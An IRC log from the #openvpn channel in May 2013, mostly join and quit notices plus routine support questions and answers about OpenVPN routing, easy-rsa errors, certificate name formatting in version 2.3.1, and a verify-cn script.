19:11 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection]
19:12 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:30 -!- mitz [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
19:34 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 268 seconds]
20:00 -!- vaillor [~wefefr@2-226-37-187.ip179.fastwebnet.it] has left #openvpn []
20:04 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
20:15 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
20:15 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Ping timeout: 256 seconds]
20:17 -!- michaelhart [~michaelha@206-248-137-228.dsl.teksavvy.com] has quit [Quit: michaelhart]
20:19 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
20:20 < swiftkey> hello there is openvpnAS same as openvpn server?
20:23 < pekster> Nope. AS is the commercial (non-free) product by the corp side. OpenVPN is the GPL software that's free to use and open-source
20:25 < swiftkey> okay i guess it answers my question
20:25 < swiftkey> :)
20:25 < swiftkey> thanks a lot
20:26 < swiftkey> i guess setup of openvpnAS is easier ?
20:26 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Quit: Nettalk6 - www.ntalk.de]
20:29 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has joined #openvpn
20:32 <@krzee> ya thats part of their appeal
20:33 <@krzee> also the corporate support
20:33 <@krzee> they're in:
20:33 <@krzee> !as
20:33 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
20:34 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
20:35 < swiftkey> thanks
20:39 <@krzee> yw
20:49 -!- JSharpe_ [~JSharpe@176.253.10.142] has quit [Quit: Leaving]
20:50 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
20:51 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
20:51 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Changing host]
20:51 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
20:52 -!- emmanuelux [~emmanuelu@37.59.236.163] has joined #openvpn
20:53 < emmanuelux> hello
20:53 < emmanuelux> why openvpn client creates a default route like :        default         10.10.4.49      128.0.0.0       UG    0      0        0 tun0
20:54 < emmanuelux> why 128.0.0.0 in netmask
20:54 < emmanuelux> thx
20:55 < EugeneKay> !def1
20:55 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
20:56 < emmanuelux> ok thx
21:03 -!- master_of_master [~master_of@p4FF246C5.dip0.t-ipconnect.de] has joined #openvpn
21:06 -!- master_o1_master [~master_of@p4FF2434C.dip0.t-ipconnect.de] has quit [Ping timeout: 260 seconds]
21:52 -!- emmanuelux [~emmanuelu@37.59.236.163] has quit [Quit: emmanuelux]
21:54 -!- t35guy1 [~Andrew@63.142.161.9] has joined #openvpn
21:57 -!- t35guy [~Andrew@63.142.161.16] has quit [Ping timeout: 272 seconds]
22:06 -!- CookieNinja is now known as TommehM
22:23 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Quit: Leaving]
22:45 -!- t35guy [~Andrew@63.142.161.16] has joined #openvpn
22:49 -!- t35guy1 [~Andrew@63.142.161.9] has quit [Ping timeout: 272 seconds]
22:52 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Excess Flood]
22:53 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
23:20 -!- jthunder [~jthunder@174.3.126.51] has quit [Ping timeout: 256 seconds]
23:31 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
23:36 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
--- Day changed Fri May 10 2013
00:09 < swiftkey> hello tehre
00:09 < swiftkey> when i ./build-ca
00:09 < swiftkey> is says
00:09 < swiftkey>  ./build-ca
00:09 < swiftkey> grep: /etc/openvpn/easy-rsa/openssl.cnf: No such file or directory
00:09 < swiftkey> pkitool: KEY_CONFIG (set by the ./vars script) is pointing to the wrong
00:09 < swiftkey> version of openssl.cnf: /etc/openvpn/easy-rsa/openssl.cnf
00:09 < swiftkey> The correct version should have a comment that says: easy-rsa version 2.x
00:29 -!- t35guy1 [~Andrew@63.142.161.4] has joined #openvpn
00:30 -!- t35guy [~Andrew@63.142.161.16] has quit [Ping timeout: 272 seconds]
01:10 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:12 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:17 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
01:18 -!- t35guy [~Andrew@63.142.161.9] has joined #openvpn
01:19 -!- t35guy1 [~Andrew@63.142.161.4] has quit [Ping timeout: 272 seconds]
01:22 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
01:23 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
01:25 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:27 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has quit [Ping timeout: 272 seconds]
01:28 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Quit: Konversation terminated!]
01:31 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Max SendQ exceeded]
01:32 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
01:37 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:45 -!- jthunder [~jthunder@174.3.126.51] has quit [Quit: jthunder]
02:10 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
02:13 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
02:19 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has joined #openvpn
02:26 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has quit [Quit: Gruu_]
02:29 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has quit [Ping timeout: 276 seconds]
02:29 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
02:53 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
02:54 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has joined #openvpn
02:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
03:01 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
03:09 -!- t35guy1 [~Andrew@63.142.161.17] has joined #openvpn
03:11 -!- t35guy [~Andrew@63.142.161.9] has quit [Ping timeout: 272 seconds]
03:18 -!- brute11k1 [~brute@89.249.235.126] has joined #openvpn
03:22 -!- brute11k [~brute@89.249.235.126] has quit [Ping timeout: 252 seconds]
03:25 -!- t35guy [~Andrew@63.142.161.18] has joined #openvpn
03:28 -!- t35guy1 [~Andrew@63.142.161.17] has quit [Ping timeout: 272 seconds]
03:39 -!- Devastator- [~devas@177.18.199.9] has joined #openvpn
03:41 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:42 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
03:44 -!- erry_ is now known as erry
03:46 -!- Netsplit *.net <-> *.split quits: pa, Devastator
03:53 -!- erry_ [erry@freenode/staff/erry] has joined #openvpn
03:53 -!- erry [erry@freenode/staff/erry] has quit [Killed (calvino.freenode.net (Nickname regained by services))]
03:53 -!- erry_ is now known as erry
03:54 -!- Netsplit over, joins: pa
03:54 -!- Zenum [~Zenum@unaffiliated/zenum] has quit [Ping timeout: 256 seconds]
03:55 -!- t35guy1 [~Andrew@63.142.161.5] has joined #openvpn
03:56 -!- Zenum [~Zenum@unaffiliated/zenum] has joined #openvpn
03:57 -!- t35guy [~Andrew@63.142.161.18] has quit [Ping timeout: 268 seconds]
03:58 -!- RealRancor_ [~Rancor@prielwurmjaeger.de] has joined #openvpn
03:59 -!- Netsplit *.net <-> *.split quits: MeanderingCode, Masxmasx, RealRancor
04:01 -!- Netsplit over, joins: MeanderingCode
04:01 -!- Masxmasx{AFK} [~IetsVulga@u134.baconseed.org] has joined #openvpn
04:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
--- Log closed Fri May 10 04:12:34 2013
--- Log opened Fri May 10 04:12:51 2013
04:12 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
04:12 -!- Irssi: #openvpn: Total of 201 nicks [8 ops, 0 halfops, 4 voices, 189 normal]
04:13 -!- Irssi: Join to #openvpn was synced in 35 secs
04:15 -!- frank-- [1000@unaffiliated/thumbs] has joined #openvpn
04:15 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
04:16 -!- TheRealS1r [~sjr@216.239.45.73] has joined #openvpn
04:16 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
04:17 -!- ponyofde1th [~vladi@cpe-75-80-173-129.san.res.rr.com] has joined #openvpn
04:17 -!- awc737_away [~awc737@2604:180:1::e9e7:263f] has joined #openvpn
04:17 -!- Champi_ [Champi@rootshell.fr] has joined #openvpn
04:20 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
04:21 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
04:21 -!- awc737 [~awc737@2604:180:1::e9e7:263f] has quit [Ping timeout: 264 seconds]
04:21 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Read error: Connection reset by peer]
04:21 -!- mitz_ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
04:21 -!- kenyon [kenyon@darwin.kenyonralph.com] has quit [Ping timeout: 264 seconds]
04:21 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 264 seconds]
04:21 -!- Sjors [~sgielen@foo.kassala.de] has quit [Ping timeout: 264 seconds]
04:21 -!- peper [~peper@gentoo/developer/peper] has quit [Ping timeout: 264 seconds]
04:21 -!- TheRealSjr [~sjr@216.239.45.73] has quit [Ping timeout: 264 seconds]
04:21 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 264 seconds]
04:21 -!- Champi [Champi@rootshell.fr] has quit [Ping timeout: 264 seconds]
04:21 -!- tabakhase [t4b4kh453@unaffiliated/tabakhase] has quit [Ping timeout: 264 seconds]
04:21 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Ping timeout: 264 seconds]
04:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
04:21 -!- ponyofdeath [~vladi@cpe-75-80-173-129.san.res.rr.com] has quit [Ping timeout: 264 seconds]
04:21 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
04:21 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
04:22 -!- Champi_ is now known as Champi
04:22 -!- Sjors [~sgielen@foo.kassala.de] has joined #openvpn
04:31 -!- c|oneman [cloneman@1337.montrealdark.com] has quit [Ping timeout: 264 seconds]
04:31 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Ping timeout: 264 seconds]
04:32 -!- sw0rdfish- [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
04:32 -!- c|oneman [cloneman@1337.montrealdark.com] has joined #openvpn
04:32 -!- yes_understand [~chatzilla@128.45.58.110] has joined #openvpn
04:33 -!- Netsplit *.net <-> *.split quits: c|oneman
04:37 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
04:37 -!- Netsplit over, joins: c|oneman
04:40 < takamichi> Is it possible for a point-to-point tunnel to have the same config on both sides i.e. neither is client or server. So each side would use the remote directive pointing to its peer.
04:41 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
04:42 < takamichi> and therefor either side could initiate the connection
04:49 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
04:53 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 256 seconds]
04:54 -!- mete [~mete@mete.shell.la] has joined #openvpn
05:01 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Quit: WeeChat 0.3.8]
05:02 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:11 -!- Masxmasx{AFK} is now known as Masxmasx
05:11 -!- Masxmasx [~IetsVulga@u134.baconseed.org] has quit [Changing host]
05:11 -!- Masxmasx [~IetsVulga@unaffiliated/masxmasx] has joined #openvpn
05:13 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:24 -!- rsc [~robert@fedora/rsc] has joined #openvpn
05:25 < rsc> OpenVPN 2.3 does no longer replace everything that is e.g. a whitespace by an "_" in client-connect scripts in $common_name. Nice. But where is this documented?
05:25 < rsc> and where are details?
05:25 < rsc> is noting being replaced anymore? Is it just whitespaces, that are granted?
05:28 < pppingme> takamichi yeah, the only thing that has to be different is the ifconfig statement, it needs to be the opposite on both ends.
05:32 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 256 seconds]
05:39 < takamichi> pppingme: thank you, I have it working now, much appreciated.
05:42 <@plaisthos> rsc: 2.3.0 or 2.3.1?
05:48 < rsc> plaisthos: 2.3.1
05:48 < rsc> plaisthos: from $common_name "Foo_Bar__Blub_" it now got "Foo Bar (Blub)"
05:49 < rsc> plaisthos: nice in general, but any documentation is missing regarding that.
05:53 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 264 seconds]
05:58 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:59 -!- p3rror [~p3rror@41.249.253.52] has quit [Remote host closed the connection]
06:10 <@plaisthos> rsc: hm should not have changed
06:10 <@plaisthos> rsc: or are you using of the no-name-remapping options?
06:43 -!- Devastator [~devas@177.99.153.2] has joined #openvpn
06:45 -!- Devastator- [~devas@177.18.199.9] has quit [Ping timeout: 252 seconds]
06:55 -!- You're now known as ecrist
06:55 -!- mode/#openvpn [+o ecrist] by ChanServ
06:58 < rsc> plaisthos: I'm not using any options
07:01 <@plaisthos> rsc: you should probably write to teh mailing or file a bug report
07:18 -!- frank-- is now known as thumbs
07:21 -!- squ [~Thunderbi@unaffiliated/squ] has joined #openvpn
07:21 < squ> hello
07:21 < squ> can you help me configure macos to point to openvpn tunnel only for specific host?
07:25 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
07:27 -!- Cultist [~Cultist@c-67-184-182-139.hsd1.il.comcast.net] has joined #openvpn
07:28 < rob0> What do you mean? If you don't set nor push any other routes, you only get a point-to-point tunnel.
07:28 < rob0> Patient: "Doc, it hurts when I do this." Doctor: "So don't do that."
07:30 <@dazo> rsc: this should be documented in the man page ... yes, it was changed in 2.3.0, but due to massive complaints, it was agreed on FOSDEM to rollback this change and rework it in 2.3.1
07:36 < squ> rob0: when configured with redirect all traffic goes thru vpn
07:37 < rob0> "Doc, it hurts when I use --redirect-gateway." So don't use --redirect-gateway.
07:38 < squ> for example, only access to www.microsoft.com should go thru tunnel
07:41 < rob0> Oh, so you were ambiguous in describing what you wanted. It's called policy routing. I know how to do it in Linux, but not in OSX. There are your keywords for Google, good luck.
07:43 < squ> is it possible with openvpn config?
07:47 < rsc> dazo: what does rework mean
07:49 <@dazo> rsc: the old behaviour was returned and replaced by --verify-x509-name ... and deprecates (but still functional) --tls-remote
07:49 <@dazo> or, not replaced by ... but extended by
07:50 < rsc> dazo: okay. So the new behaviour is the default and will keep this, right?
07:50 < rsc> dazo: $common_name in client-connect scripts is now "Foo Bar (Blub)" (as per 2.3.1 with defaults) and previously "Foo_Bar__Blub_" (2.2.x with defaults)
07:50 <@dazo> no, I'm probably being confusing now ..... 2.3.1 should be back to the old behaviour ... but when using --verify-x509-name, then new behaviour will be invoked
07:52 <@dazo> if things have changed in --client-connect for 2.3.1 ... then I'm a bit surprised, tbh ... I believe it should be the old behaviour there as well
07:53 <@dazo> rsc: I also believe that $X509_0_CN is the preferred variable name now .... where you should also be able to avoid this remapping
07:54 <@dazo> (meaning ' ' instead of '_')
07:55 <@dazo> btw ... see --compat-names in the 2.3 man page ... and you see how things are related .... https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage
07:55 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
07:56 <@dazo> the reason for this change is to move over to the newer OpenSSL API ... which formats this information in a more standardised way .... the old format was OpenSSL specific
08:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
08:20 -!- sw0rdfish- [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Ping timeout: 252 seconds]
08:25 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
08:30 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
08:32 -!- squ [~Thunderbi@unaffiliated/squ] has quit [Quit: squ]
08:40 -!- vaillor [~vaillor@109.119.187.109] has joined #openvpn
08:45 -!- vaillor [~vaillor@109.119.187.109] has left #openvpn []
08:53 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
08:59 < rsc> dazo: okay. So the new format is how it will stay?
09:05 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has joined #openvpn
09:13 -!- jthunder [~jthunder@174.3.126.51] has joined #openvpn
09:14 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
09:15 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
09:15 -!- jthunder [~jthunder@174.3.126.51] has quit [Client Quit]
09:35 <@dazo> rsc: The format as it is now, is definitely the best formatting and also supports UTF-8 CN's ... so I doubt that will change, tbh
09:37 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 276 seconds]
09:40 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:41 -!- Six6siX_ [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 272 seconds]
09:45 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
09:45 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
09:46 -!- vpopov [~happylife@37-147-202-203.broadband.corbina.ru] has joined #openvpn
09:58 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has quit [Excess Flood]
10:01 < rsc> dazo: okay. Fine.
10:02 < rsc> dazo: however the documentation (changelog!) sucks ;)
10:05 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:05 <@dazo> rsc: if you want full details .... here you go: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=log
10:05 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/log (at openvpn.git.sourceforge.net)
10:06 <@dazo> This one is for the 2.3.x releases .... http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=log;h=refs/heads/release/2.3 (including what's in the pipe for 2.3.2)
10:06 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/log (at openvpn.git.sourceforge.net)
10:06 < rsc> dazo: I would wish that the changelog mentions that $common_name changed it's content due to XYZ
10:06 < rsc> dazo: right now this only can be guessed
10:09 <@dazo> well .... it is said, even though not explicitly in regards to $common_name, .... but the official changelog ( https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 ) says:  "The certificate strings have changed syntax to the new standard provided newer OpenSSL APIs........"
10:09 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net)
10:10 <@dazo> This hit the first 2.3-alpha1 release ....
10:10 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:10 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
10:12 -!- sw0rdfish [sw0rdfish@fr2.v6.nightmare.panicbnc.eu] has joined #openvpn
10:13 -!- kubbing_ [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:14 -!- raidz_away is now known as raidz
10:15 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:19 -!- yes_understand [~chatzilla@128.45.58.110] has quit [Ping timeout: 272 seconds]
10:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 264 seconds]
10:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:22 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 268 seconds]
10:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
10:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
10:26 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
10:28 -!- yes_understand [~chatzilla@94.160.127.204] has joined #openvpn
10:33 -!- yes_understand [~chatzilla@94.160.127.204] has quit [Remote host closed the connection]
10:48 <@krzee> !fbsdjail
10:48 <@vpnHelper> "fbsdjail" is <thei0s> krzie: if you are interested in the solution: I needed to add to hosts rc.conf the creation of tun0 device, create a special devfs ruleset with tun0 unhiden, configure that it is used in the devfs mount point inside chroot in my jail and specify openvpn --dev tun0 parameter and it seems that this is it... so, thank you for assistance and ideas
10:55 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
10:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:12 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
11:13 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
11:19 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
11:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
11:32 -!- AndChat|698676 [~AndChat69@46.115.65.97] has joined #openvpn
11:35 -!- Ungi [~AndChat69@HSI-KBW-078-043-112-254.hsi4.kabel-badenwuerttemberg.de] has quit [Ping timeout: 255 seconds]
11:36 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
11:45 -!- TheRealS1r is now known as TheRealSjr
11:47 -!- TheRealSjr [~sjr@216.239.45.73] has quit [Quit: leaving]
11:47 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:54 -!- Ungi [~AndChat69@2.211.148.236] has joined #openvpn
11:56 -!- AndChat|698676 [~AndChat69@46.115.65.97] has quit [Ping timeout: 252 seconds]
11:59 -!- AndChat|698676 [~AndChat69@46.115.20.199] has joined #openvpn
12:00 -!- Ungi [~AndChat69@2.211.148.236] has quit [Ping timeout: 245 seconds]
12:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:01 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Quit: Leaving]
12:04 -!- AndChat|698676 [~AndChat69@46.115.20.199] has quit [Ping timeout: 256 seconds]
12:08 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
12:08 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:13 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:17 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
12:20 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
12:22 -!- pulz [geir@winning.no] has quit [Ping timeout: 245 seconds]
12:23 -!- pulz [geir@winning.no] has joined #openvpn
12:26 -!- novaflash is now known as novaflash_away
12:32 -!- mitz__ [~mitz@ec2-54-249-110-97.ap-northeast-1.compute.amazonaws.com] has quit [Read error: Connection reset by peer]
12:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
12:40 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Read error: Connection reset by peer]
12:42 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
12:43 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
12:52 -!- datruth [~datruth@unaffiliated/datruth] has joined #openvpn
12:52 < datruth> How can I manually test verify-cn?
13:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
13:07 <@krzee> !script
13:07 <@vpnHelper> "script" is See SCRIPTING AND ENVIRONMENTAL VARIALBES in the manual for a list of places that scripts can hook into openvpn. Online reference at: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAR
13:07 <@krzee> 1sec
13:08 < datruth> thx
13:08 <@krzee> oh its a script
13:08 <@krzee> i guess by exporting the variables that need to be set and running it debug?
13:08 < datruth> My certificate works, without verify-cn when I use verify-cn I get an error in the debug saying unkown certificate
13:09 <@krzee> add a debug saying what the cert is
13:09 < datruth> krzee: how can I do that?
13:09 <@krzee> dunno havnt seen the script
13:09 < datruth> I was using verb 8
13:09 < datruth> oh
13:09 < datruth> I can find a link
13:09 <@krzee> what do you mean its just a bash script
13:09 <@krzee> how are you enabling verify-cn?
13:09 <@krzee> oh no perl script
13:10 < datruth> http://svn.openvpn.net/projects/openvpn/contrib/dazo/sample-scripts/verify-cn
13:10 <@krzee> ya i just found that
13:10 < datruth> krzee: the script is called from the openvpn.conf
13:10 <@krzee> no shit, what line in openvpn.conf
13:10 <@krzee> as in, what config option are you using
13:11 <@dazo> datruth: oh please .... don't ever use that ancient piece of relic repository .... the SVN tree (and in particular the dazo branch) is not current code at all
13:11 <@krzee> dazo: first hit on searching verify-cn
13:11 <@dazo> mattock: can we please kill the public SVN repositories!? ;-)
13:11 < datruth> tls-verify "/path/to/verify-cn /path/to/ccd/allowed_clients"
13:12 <@krzee> dazo, at the very least stop them from being indexed!
13:12 <@dazo> This is a safe place to look:  http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn.git;a=tree
13:12 < datruth> dazo: is there an updated version of the script?
13:12 <@vpnHelper> Title: SourceForge - openvpn/openvpn.git/tree (at openvpn.git.sourceforge.net)
13:12 < datruth> dazo: thx
13:12 < EugeneKay> Ah, sourceforge.
13:12  * EugeneKay gets his largest stabbing stick
13:12 <@krzee> we lucked out that the link had dazo's name in it
13:12 <@dazo> datruth: the git tree is updated
13:12 <@krzee> :D
13:13 <@dazo> EugeneKay: anything wrong about sf.net?
13:13 < datruth> hrmm i'll pull the script from there
13:13 < EugeneKay> Nothing. In 1999.
13:13 < datruth> they look the same tho
13:13 < EugeneKay> They recently decided to move all of their SVN URLs
13:13 < EugeneKay> Completely breaking all of the git-svn mirrors I had, with no error handling whatsoever
13:13 <@krzee> dazo might dual you with his svn stabbing stick
13:14 < EugeneKay> Their navigation is(and always has been) painful and useless
13:14 <@krzee> duel*
13:14 <@dazo> datruth: well, I don't recall all what has changed over the years .... but the SVN tree has been mostly ignored by community developers for the last 2 years
13:14 < EugeneKay> I've never been able to find a community, just a bunch of random dipshit forum postings and poorly-Googled readmes
13:14 <@dazo> EugeneKay: ahh, right ... sf.net is upgrading their platform ... I've received quite some mails about it for other projects hosted there
13:15 < EugeneKay> Just so many bad memories of dealing with SF projects
13:15 <@dazo> EugeneKay: you know ... the more difficult it is to find the community, the calmer it is, the less trolling you'll find ..... and you see the mistake we've done on this channel!?  This used to be a civilised place to be! ;-)
13:16 < EugeneKay> It's not that I can't find the community, it's that it is composed solely of poor lost Googlers.
13:16 < EugeneKay> http://xkcd.com/979/
13:16 <@dazo> well, true
13:16 <@vpnHelper> Title: xkcd: Wisdom of the Ancients (at xkcd.com)
13:17 <@dazo> hehehe
13:17 <@dazo> so true :)
13:18 -!- EugeneKay [eugene@codingforjes.us] has quit [Quit: ZNC - http://znc.sourceforge.net]
13:18 -!- EugeneKay [eugene@clockworkmod.org] has joined #openvpn
13:19 < oh7lzb> I'm planning to submit a patch for review, and it seems I surprisingly managed to find the right git tree to work against. :)
13:21 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
